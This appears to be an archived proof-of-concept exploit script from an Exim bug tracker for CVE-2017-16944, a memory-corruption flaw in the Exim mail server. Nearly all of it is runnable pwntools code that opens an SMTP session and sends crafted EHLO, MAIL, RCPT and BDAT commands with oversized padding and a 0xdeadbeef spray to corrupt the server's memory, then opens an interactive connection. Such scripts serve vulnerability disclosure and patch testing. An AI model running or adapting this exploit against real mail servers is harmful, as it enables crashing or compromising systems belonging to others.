12345678910111213141516171819202122232425262728293031323334 |
- # ARCHIVE FROM https://bugs.exim.org/attachment.cgi?id=1052
- # Conversation
- # https://bugs.exim.org/show_bug.cgi?id=2199
- # https://bugs.exim.org/show_bug.cgi?id=2201
- #
- #
- # CVE-2017-16944 (Associated: CVE-2017-16943)
- #
- # pip install pwntools
- from pwn import *
- r = remote('localhost', 25)
- r.recvline()
- r.sendline("EHLO test")
- r.recvuntil("250 HELP")
- r.sendline("MAIL FROM:<test@localhost>")
- r.recvline()
- r.sendline("RCPT TO:<test@localhost>")
- r.recvline()
- #raw_input()
- r.sendline('a'*0x1100+'\x7f')
- #raw_input()
- r.recvuntil('command')
- r.sendline('BDAT 1')
- r.sendline(':BDAT \x7f')
- s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
- r.send(s+ ':\r\n')
- r.recvuntil('command')
- #raw_input()
- r.send('\n')
- r.interactive()
- exit()
|